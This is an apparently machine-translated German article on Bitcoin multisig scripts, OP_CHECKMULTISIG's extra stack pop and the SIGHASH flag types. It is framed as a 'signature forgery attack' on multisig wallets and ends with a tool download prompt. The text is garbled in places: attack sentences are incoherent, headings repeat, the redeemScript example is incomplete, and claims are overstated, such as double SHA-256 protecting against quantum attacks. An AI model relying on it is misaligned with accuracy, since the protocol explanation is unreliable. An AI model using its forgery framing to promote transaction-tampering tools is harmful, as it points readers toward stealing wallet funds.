    Doppeltes SHA-256 schützt vor potenziellen Implementierungsschwächen oder unerwarteten Schwachstellen, die in einer einzelnen Iteration entdeckt werden könnten, und minimiert das Risiko von Angriffen mit Quanten- oder klassischen Computertools.
  • Anwendbarkeit auf Proof-of-Work und Blockchain-Sicherheit
    Der PoW-Mechanismus in Bitcoin beruht auf der Berechnung von Block-Hashes, die eine bestimmte Schwierigkeit erfüllen müssen. Doppeltes Hashing schafft eine zusätzliche Barriere gegen Blockfälschung und erhöht die Zuverlässigkeit und das Vertrauen in die Blockchain 5 .

Die doppelte Verwendung von SHA-256ist eine bewusste Entscheidung von Satoshi Nakamoto, um dem gesamten Bitcoin-System eine zusätzliche Sicherheitsebene und robuste kryptografische Stärke zu verleihen. Dieses Design minimiert Kollisionsrisiken, verstärkt die Einweg-Eigenschaft und schützt Daten im Blockchain-Netzwerk sicher, wodurch eine solide Grundlage für Transaktionssicherheit und Konsens im System geschaffen wird. Somit ist doppeltes SHA-256 ein Schlüsselelement der Bitcoin-Architektur, das fortschrittliche kryptografische Techniken mit einem verteilten System kombiniert.


Angriff auf digitale Signaturfälschung: Wie CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Fehler die operativen Methoden von Multi-Signatur-Wallets mit Fake RawTX bedrohen


Multi-Signatur in Bitcoin: die Rolle von redeemScript und der OP_CHECKMULTISIG-Anweisung

Die Sicherheit und Flexibilität moderner Bitcoin-Transaktionen basiert auf einem Skriptsystem, das komplexe Bedingungen für die Ausgabe von Geldern ermöglicht. Einer der wichtigsten Mechanismen ist die Multi-Signatur (Multisig) , bei der Gelder nur ausgegeben werden können, wenn mehrere gültige digitale Signaturen aus einer Menge möglicher Signaturen vorliegen. In diesem Artikel werden wir uns im Detail ansehen, wie genau dies in Bitcoin implementiert ist, was redeemScript ist, wie die OP_CHECKMULTISIG-Anweisung funktioniert , und warum ein solcher Ansatz gefragt ist.

Was ist redeemScript?

Im Kontext von Bitcoin ist ein redeemScript ein Skript, das die Bedingungen für die Ausgabe von Geldern enthält, die im Transaktionsausgang im Pay-to-Script-Hash-Format (P2SH) gespeichert werden. Anstatt das vollständige Skript auf der Blockchain zu speichern, wird der Hash des redeemScripts im Ausgang gespeichert, was Platz spart und die Details der Bedingungen bis zum Zeitpunkt der Ausgabe verbirgt.


Ein redeemScript kann beispielsweise mehrere öffentliche Schlüssel und eine Schwellenanzahl von Signaturen enthalten – genau das implementieren Multi-Signatur-Wallets.


Wie funktioniert OP_CHECKMULTISIG?

Betrachten wir die OP_CHECKMULTISIG-Anweisung: Zweck und Funktionsweise, wobei das Hauptelement im redeemScript, das die Multi-Signatur-Prüfung implementiert, OP_CHECKMULTISIG ist.

  • Die Anweisung empfängt zwei Datengruppen vom Stack als Eingabe:
    • N öffentliche Schlüssel (z. B. drei öffentliche Schlüssel)
    • M Signaturen (z. B. zwei Signaturen), wobei M ≤ N die erforderliche Schwelle von Signaturen zur Bestätigung der Transaktion ist.
  • Um eine Transaktion zu validieren, prüft OP_CHECKMULTISIG , dass jede der M Signaturen korrekt von einem der N öffentlichen Schlüssel signiert wurde.
  • Wenn alle Signaturen gültig sind und mit den Schlüsseln im redeemScript übereinstimmen, gibt die Anweisung true zurück, was die Ausgabe der Gelder ermöglicht.

Besonderheiten und Fehler beim Entfernen eines Elements vom Stack

Aufgrund eines historischen Fehlers in der Implementierung von OP_CHECKMULTISIG wird während der Ausführung ein zusätzliches Element, ein ungenutzter Wert, vom Stack entfernt. Um dieses Problem zu vermeiden, verwendet scriptSig ein spezielles Element OP_FALSE(Wert 0) am Anfang, das diesen Fehler ausgleicht und potenzielle Schwachstellen verhindert.


  • Als Nächstes betrachten wir die Implementierung von OP_CHECKMULTISIG , die ein zusätzliches Element vom Stack entfernt. Unter Ausnutzung dieses Fehlers macht der Angreifer OP_CHECKMULTISIG zu einer potenziellen Schwachstelle.
  • Somit sieht die scriptSig-Struktur für Multi-Signatur ungefähr so aus: wobei das erste Element des Skripts ein Dummy-Wert ist.OP_FALSE <signature1> <signature2> ... <redeemScript>OP_FALSE

Praktisches Beispiel: Multi-Signatur 2 von 3

Basierend auf dem redeemScript-Code:

root@kitploit:~
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
  • Hier sind 3 öffentliche Schlüssel deklariert .
  • Die Schwelle beträgt 2 Signaturen ; zwei dieser drei sind für eine erfolgreiche Verifizierung erforderlich.
  • Die Operation OP_CHECKMULTISIGprüft, dass die beiden bereitgestellten Signaturen (im scriptSig) gültig sind und zwei der drei Schlüsseln entsprechen.
  • OP_FALSEim scriptSig gleicht den Fehler des Entfernens des zusätzlichen Werts aus.

Die Bedeutung und Vorteile von Multi-Signatur-Wallets

  • Erhöhte Sicherheit. Der Wallet-Besitzer kann die Kontrolle über Gelder auf mehrere Personen oder Geräte verteilen und so die Möglichkeit einer einzelnen unbefugten Ausgabe ausschließen.
  • Flexibilität. Verschiedene Schemata können implementiert werden, zum Beispiel „2 von 3“, „3 von 5“, mit unterschiedlichen Bedingungen.
  • Rechtliche Effizienz: Multi-Signaturen werden häufig in Unternehmensumgebungen verwendet, um eine gemeinsame Vermögensverwaltung zu gewährleisten.

Technischer und praktischer Kontext

  • Multi-Signatur-Szenarien werden häufig in P2SH- und SegWit-Transaktionen verwendet.
  • Die OP_CHECKMULTISIG-Anweisung ist eine der ressourcenintensivsten Operationen in der Blockchain, da sie die Überprüfung mehrerer Signaturen erfordert. Es gibt eine Grenze auf Protokollebene für die Anzahl der Signaloperationen (Sigops) pro Block.
  • Trotz der Geschichte mit OP_FALSE hat sich der Mechanismus als zuverlässig erwiesen und findet breite Anwendung.

RedeemScript mit der OP_CHECKMULTISIG -Anweisung ist ein komplexes und leistungsstarkes Werkzeug im Bitcoin-Arsenal, mit dem Sie Multi-Signatur-Wallets mit einer Signaturschwelle erstellen können, was ein hohes Maß an Sicherheit und Kontrolle über Gelder bietet. Dieser Mechanismus ist zu einem Eckpfeiler für Organisationen, Nutzer und Dienste geworden, die eine gemeinsame Verwaltung ihrer Vermögenswerte in einer dezentralen und sicheren Umgebung nutzen möchten. Somit ist Multi-Signatur über redeemScript und OP_CHECKMULTISIG nicht nur eine Technologie, sondern eine Funktionalität, die die Möglichkeiten des klassischen Kryptowährungsmodells erweitert.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallet Operational Methods with Fake RawTX

So funktioniert der Bitcoin-Multisig-Verifizierungsmechanismus mit OP_CHECKMULTISIG und redeemScript

Der Bitcoin-Mechanismus zur Verifizierung von Multi-Signaturen basiert auf der Verwendung spezieller Skripte mit den OP_CHECKMULTISIG - und redeemScript -Anweisungen, die einen Abgleich von Schwellenwertsignaturen ermöglichen und so erhöhte Sicherheit sowie eine gemeinsame Verwaltung der Gelder bieten.

Grundlagen des Multi-Signatur-Mechanismus

Multisig ist ein System, bei dem mehrere gültige Signaturen aus einer bestimmten Menge öffentlicher Schlüssel erforderlich sind, um eine Transaktion abzuschließen. Ein typisches Schema wird als m von n bezeichnet – zum Beispiel „2 von 3“, bei dem zwei beliebige Signaturen aus drei Schlüsseln benötigt werden, um eine Ausgabe zu autorisieren.

In Bitcoin wird diese Logik umgesetzt über:

  • redeemScript – ein Skript, das die Bedingungen für die Ausgabe von Geldern beschreibt. Es enthält eine Liste öffentlicher Schlüssel und einen Schwellenwertparameter (m).
  • scriptSig – das Entsperrskript, das die für die Verifizierung erforderlichen Signaturen sowie das redeemScript selbst enthält.

Wie redeemScript funktioniert

Die Anweisung OP_CHECKMULTISIGüberprüft, ob die bereitgestellten scriptSigSignaturen gültig sind und mit den veröffentlichten öffentlichen Schlüsseln aus redeemScript übereinstimmen.

RedeemScript ist ungefähr wie folgt aufgebaut:

root@kitploit:~
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIG
  • OP_Mund OP_N– Anweisungen, die die Anzahl der erforderlichen Signaturen bzw. die Gesamtzahl der öffentlichen Schlüssel angeben (zum Beispiel OP_2 und OP_3).
  • <pubkeyX>– öffentliche Schlüssel der Teilnehmer.
  • OP_CHECKMULTISIG– ein Operator, der die Multi-Signatur-Verifizierung implementiert.

  • Er nimmt mehrere Signaturen und eine Menge öffentlicher Schlüssel als Eingabe.
  • Für eine erfolgreiche Verifizierung muss jede Signatur korrekt mit einem der angegebenen öffentlichen Schlüssel übereinstimmen.
  • Die Operation gibt true zurück, wenn die Anzahl gültiger Signaturen den Schwellenwert merreicht.

Ein wichtiges technisches Merkmal ist ein historischer Implementierungsfehler OP_CHECKMULTISIG, der dazu führt, dass ein zusätzliches, ungenutztes Element vom Stack entfernt wird. Um diesen Fehler zu kompensieren, wird in scriptSigein Wert OP_FALSE(Code 0) am Anfang platziert, um die Stack-Verschiebung zu „verriegeln“.


Wie die scriptSig-Struktur funktioniert

Für ein Wallet mit einer „2 von 3“-Multi-Signatur wird vor der Ausgabe von Geldern die scriptSigwie folgt gebildet:

root@kitploit:~
OP_FALSE <signature1> <signature2> <redeemScript>
  • OP_FALSE– ein Dummy-Wert zur Kompensation des OP_CHECKMULTISIG-Fehlers.
  • <signature1>und <signature2>– zwei digitale Signaturen, die von den Inhabern der entsprechenden privaten Schlüssel autorisiert wurden.
  • <redeemScript>– das Skript selbst mit öffentlichen Schlüsseln und Verifizierungsparametern.

Bei der Verifizierung einer Transaktion durch einen Knoten:

  1. Extrahiert redeemScript aus der scriptSig.
  2. Hasht es und vergleicht es mit dem Hash, der im Sperrskript (scriptPubKey) des vorherigen Outputs gespeichert ist (P2SH-Format – OP_HASH160 <redeemScript-Hash> OP_EQUAL).
  3. Wenn die Hashes übereinstimmen, wird redeemScript deserialisiert.
  4. Führt die OP_CHECKMULTISIG-Anweisung aus und vergleicht Signaturen und Schlüssel auf Übereinstimmung.
  5. Gibt true zurück, wenn die Prüfungen erfolgreich sind.

Wenn alle Inputs einer Transaktion diese Prüfung bestehen, gilt die Transaktion als gültig. Bei einer solchen Gültigkeit kompensiert der Angreifer durch die Ausführung des Operators dieses Fehlers  OP_CHECKMULTISIG  als potenzielle Schwachstelle.


Multi-Signatur-Mechanismus über redeemScript und OP_CHECKMULTISIG

  • Erhöhte Sicherheit: Mehrere Inhaber privater Schlüssel müssen einer Transaktion zustimmen, wodurch das Diebstahlrisiko sinkt, falls ein Schlüssel kompromittiert wird.
  • Flexibilität und Skalierbarkeit: Sie können eine beliebige Signaturschwelle (von 1 bis 15) sowie eine Teilnehmerliste – von 2 bis 15 öffentlichen Schlüsseln – festlegen.
  • Gemeinsame Vermögensverwaltung: Geeignet für Firmenkonten, gemeinsame Wallets und DAOs, da eine robuste Zugriffskontrolle ermöglicht wird.
  • Transparenz und Überprüfbarkeit: Alle erforderlichen Daten und Bedingungen befinden sich in der Blockchain, und die Verifizierung von Transaktionen erfolgt automatisch, dezentral und transparent.

Der Bitcoin-Mechanismus zur Verifizierung von Multi-Signaturen mithilfe des Befehls OP_CHECKMULTISIGund redeemScript ermöglicht die Einrichtung komplexer Schwellenwertsignatur-Schemata, und durch die Ausführung dieses Fehleroperators kompensiert ein Angreifer  OP_CHECKMULTISIG  als potenzielle Schwachstelle in kontrollierten Transaktionen im dezentralen Bitcoin-Netzwerk.


Welche Besonderheiten und Einschränkungen gibt es, wenn OP_CHECKMULTISIGmehrere Signaturen prüft? Schauen wir uns die wichtigsten Aspekte und Einschränkungen an:

  1. Die Signatur-Verifizierungsschwelle
    OP_CHECKMULTISIG ermöglicht es, die Anzahl der erforderlichen Signaturen T aus der Gesamtzahl der öffentlichen Schlüssel N festzulegen (das „T-von-N“-Schema). Zum Beispiel 2 von 3. Für eine gültige Transaktion reicht es aus, T gültige Signaturen zu haben.
  2. Mehrere Signaturen in einer Operation verifizieren
    Anders als bei der Verifizierung einzelner Signaturen (OP_CHECKSIG) prüft OP_CHECKMULTISIG mehrere Signaturen auf einmal und setzt sie in Beziehung zu den entsprechenden öffentlichen Schlüsseln, was die Effizienz und den Komfort bei der Implementierung von Multi-Signatur-Wallets erhöht.
  3. Verwendung von redeemScript für eine Ausgabebedingung
    Im P2SH-Format ist das Multi-Signatur-Schema unter dem redeemScript-Hash verborgen – einem vollständigen Skript mit öffentlichen Schlüsseln und Parametern. Um die Gelder auszugeben, muss der Nutzer das redeemScript und die entsprechenden Signaturen vorlegen.
  4. Historischer Fehler – zusätzliches Element im Stack
    OP_CHECKMULTISIG hat die Besonderheit, während der Ausführung ein zusätzliches, ungenutztes Element vom Stack zu entfernen (ein „off-by-one“-Implementierungsfehler). Zur Kompensation wird der scriptSig am Anfang ein Dummy-Element OP_FALSEhinzugefügt, um den Stack korrekt auszurichten. Dies ist ein von der Community anerkanntes und akzeptiertes Merkmal.

Einschränkungen von OP_CHECKMULTISIG

  1. Maximale Anzahl von Schlüsseln und Signaturen
    Bitcoin hat ein Limit von 15 öffentlichen Schlüsseln und dementsprechend 15 Signaturen in einem redeemScript. Dies ist auf das Limit der Skriptgröße (~520 Bytes) und die Anzahl der pro Block für die Verifizierung erlaubten Operationen (sigops limit) zurückzuführen.
  2. Erhöhte Transaktionsgröße und Gebühren
    Multi-Signatur-Transaktionen sind aufgrund der großen Anzahl öffentlicher Schlüssel, Signaturen und zusätzlicher redeemScript-Daten größer. Dies erhöht die Größe der Transaktion selbst und folglich die Gebühr für ihre Verarbeitung.
  3. Skriptgrößenlimits
    Die maximale Größe jedes Skripts (Input oder Output) ist auf 520 Bytes begrenzt. Bei einer großen Anzahl von Schlüsseln wird redeemScript umfangreich, was den Komfort und die Effizienz der Nutzung von Multi-Signaturen beeinträchtigt.
  4. Verbergen von Ausgabebedingungen nur bei Verwendung von P2SH
    Wenn P2SH nicht verwendet wird, wird das korrekte Skript mit öffentlichen Schlüsseln und OP_CHECKMULTISIG offen in den Transaktions-Outputs gespeichert, wodurch die öffentlichen Schlüssel im Voraus offengelegt werden und die Privatsphäre verringert wird.
  5. Fehlende native Unterstützung für komplexe Logik
    Bitcoin Script ist unvollständig und in seinen Fähigkeiten begrenzt; es gibt keine Schleifen und Rekursion, weshalb komplexe politische oder vertragliche Bedingungen von Multi-Signaturen nur eingeschränkt umgesetzt werden können.

Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallet Operational Methods with Fake RawTX


Arten von Signaturen in Bitcoin: Besonderheiten und Rolle der SIGHASH-Flags

Bitcoin verwendet digitale Signaturen zur Autorisierung von Transaktionen, wodurch Inhaber von Geldern ihr Recht bestätigen können, über diese zu verfügen. Die Besonderheit besteht darin, dass Signaturen ihren Wirkungsbereich nicht auf die gesamte Transaktion beschränken können, sondern nur auf einen Teil davon. Dies wird mithilfe spezieller Flags – SIGHASH , die festlegen, welche Transaktionsdaten genau unter die Signatur fallen, umgesetzt. Betrachten wir die Arten von Signatur-Hashes, ihren Zweck, Anwendungsbeispiele sowie Besonderheiten, die in nicht standardmäßigen Situationen auftreten.

Beim Signieren einer Bitcoin-Transaktion wird eine digitale Signatur erstellt, die über einem bestimmten Fragment der Transaktionsdaten gebildet wird. Gerade durch das SIGHASH-Flag wird angegeben, welcher Teil dieser Daten durch diese Signatur abgedeckt werden soll. Der Signatur-Hash-Typ wird durch das letzte Byte der Signatur selbst übertragen und bestimmt den Bereich, der in den Hash und damit in den signierten Abschnitt einbezogen wird. Dies ermöglicht eine flexible Gestaltung der Bedingungen dafür, welche konkreten Aktionen an der Transaktion vom Unterzeichner genehmigt werden.


Die drei wichtigsten SIGHASH-Typen

1. SIGHASH_ALL (0x01)

Dies ist der Standard-Signaturtyp in den meisten Wallets und Clients. Die Signatur deckt alle Inputs und alle Outputs der Transaktion ab, was bedeutet:

  • Der Unterzeichner bestätigt diese bestimmte Kombination aus Quellen und Empfängern.
  • Jede Änderung an den Inputs oder Outputs nach der Signierung macht die Signatur ungültig.
  • Bietet das höchste Maß an Transaktionssicherheit und Vorhersehbarkeit.

2. SIGHASH_NONE (0x02)

Bei diesem Signaturtyp werden alle Inputs signiert, aber keiner der Outputs :

  • Der Unterzeichner stimmt der Verwendung der aufgelisteten Inputs zu, verpflichtet sich jedoch nicht auf bestimmte Outputs.
  • Dies ermöglicht es, die Outputs einer Transaktion zu ändern, ohne die Inputs erneut signieren zu müssen.
  • Dieser Ansatz ist für einzelne Inputs nicht sicher und wird häufiger in spezifischen Szenarien verwendet, wie komplexen Smart Contracts oder kooperativen Transaktionen.

3. SIGHASH_SINGLE (0x03)

Dieser Signaturtyp signiert alle Inputs, aber nur einen Output – mit derselben Sequenznummer wie der Input :

  • Das heißt, die Signatur ist auf das Paar „Input N – Output N“ beschränkt.
  • Ermöglicht es dem Unterzeichner, ein bestimmtes Input-Output-Paar zu kontrollieren, während der Rest ignoriert wird.
  • Hilft bei der Erstellung teilweiser oder bedingter Verfügungen über Gelder.
  • Allerdings kann ein Problem auftreten, wenn es keinen Output mit dem Input-Index gibt – in diesem Fall wird ein Hash mit dem Wert eins zurückgegeben (was ein bekannter, weiter unten beschriebener Fehler ist).

Beispiel aus einer realen Transaktion

Betrachten wir eine Transaktion mit drei Inputs, bei der aus den Signaturskripten (scriptSig) von zweien davon Signaturen extrahiert wurden, die mit einem Byte 0x03enden, das auf SIGHASH_SINGLE verweist – also Signaturen, die nur das Paar der entsprechenden Inputs und Outputs signieren. Allerdings beobachten wir hier eine Situation: Der Input mit Index 2 hat keinen entsprechenden Output mit demselben Index.


Digital Signature Forgery Attack Various vulnerability assessment methods are used to prevent crypto incidents and improve the cybersecurity of cryptocurrency platforms

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf


Digital Signature Forgery Attack Various vulnerability assessment methods are used to prevent crypto incidents and improve the cybersecurity of cryptocurrency platforms

Raw Transaction


Was passiert, wenn es keinen Output zum Eingangsindex gibt?

Aufgrund eines historischen Bitcoin-Fehlers wird in solchen Situationen der Transaktions-Hash für die Signierung als feste Zahl – eins (int 1) – zurückgegeben. Dies entspricht keinem gültigen Hash der zu signierenden Transaktion und kann Sicherheits- und Kompatibilitätsprobleme verursachen.

Zusätzliche Flags und Modifikatoren

Zusätzlich zu den drei grundlegenden SIGHASH-Werten sind Kombinationen dieser Werte mit dem SIGHASH_ANYONECANPAY Flag möglich, das es erlaubt, nur einen Input zu signieren, während die anderen für Änderungen offen bleiben. Dies erweitert die Möglichkeiten zur Erstellung komplexer kollaborativer Protokolle und Multi-Party-Transaktionen, bei denen verschiedene Teilnehmer nur ihre eigenen Teile signieren.


Praktische Bedeutung und Anwendung

  • SIGHASH_ALL bietet die vollständigste Bestätigung einer Transaktion und wird in Standard-Wallets verwendet.
  • SIGHASH_NONE und SIGHASH_SINGLE ermöglichen flexiblere und partielle Signaturen, die in komplexen Szenarien verwendet werden: Multi-Signaturen, Smart Contracts, vertrauensbasierte Transaktionen.
  • Das Verständnis dieser Typen ist für Entwickler und Analysten von entscheidender Bedeutung, die benutzerdefinierte Transaktionen erstellen oder Fehler/Schwachstellen untersuchen.

Die Typen SIGHASH sind Bitcoin ein cleverer Mechanismus zur Verwaltung des Kontrollniveaus und des Umfangs digitaler Signaturen innerhalb von Transaktionen. Sie schaffen eine Balance zwischen Sicherheit, Flexibilität und Kompatibilität. Die Geschichte enthält unerwartete Komplikationen, wie den Fehler mit SIGHASH_SINGLE ohne entsprechenden Output, was die Bedeutung eines tiefen Verständnisses der technischen Details für die erfolgreiche Arbeit mit Bitcoin auf fortgeschrittenem Niveau unterstreicht.


Wie wirken sich die Unterschiede zwischen SIGHASH_ALL, NONE und SINGLE auf die Sicherheit von Bitcoin-Transaktionen aus?

Die Unterschiede zwischen den Signaturtypen SIGHASH_ALL, SIGHASH_NONE und SIGHASH_SINGLE haben erhebliche Auswirkungen auf die Sicherheit von Bitcoin-Transaktionen, da sie bestimmen, welche Teile der Transaktion in der digitalen Signatur erfasst und daher vor Änderungen geschützt sind.


1. SIGHASH_ALL – maximale Sicherheit

  • Beschreibung: Die Signatur erfasst alle Eingaben und alle Ausgaben einer Transaktion .
  • Auswirkung auf die Sicherheit:
    • Stellt sicher, dass nach der Signierung keine Eingabe oder Ausgabe geändert werden kann.
    • Beseitigt die Möglichkeit, den Empfänger oder den Zahlungsbetrag auszutauschen.
    • Der Unterzeichner hat die volle Kontrolle über das endgültige Ergebnis der Transaktion.
  • Risiken: Hohe Starrheit – wenn etwas geändert werden muss (zum Beispiel eine Ausgabe hinzugefügt oder die Gebühr erhöht werden soll), muss neu signiert werden.

2. SIGHASH_NONE – offene Ausgaben, geschlossene Eingaben

  • Beschreibung: Alle Eingaben werden signiert, und alle Ausgaben bleiben unsigniert .
  • Auswirkung auf die Sicherheit:
    • Die signierten Eingaben sind geschützt, aber die Ausgaben können nach der Signierung von jedem geändert werden.
    • Missbrauchspotenzial: Ein Angreifer kann nach der Signierung die Adressen und Beträge einer Überweisung ändern.
  • Verwendung: Selten genutzt, hauptsächlich in vertrauenswürdigen Kooperationsprotokollen und kooperativen Szenarien.
  • Risiken: Wenn ein Angreifer Zugriff auf die Signaturen erhält, kann er Gelder ohne Zustimmung des Unterzeichners an seine Adressen senden.

3. SIGHASH_SINGLE — Signatur der entsprechenden Eingabe und Ausgabe

  • Beschreibung: Signiert alle Eingaben, aber nur die Ausgabe mit demselben Index wie die Eingabe-Signatur .
  • Auswirkung auf die Sicherheit:
    • Ermöglicht dem Unterzeichner, nur eine bestimmte Ausgabe zu kontrollieren, während die anderen änderbar bleiben.

    • Read more

Tool herunterladen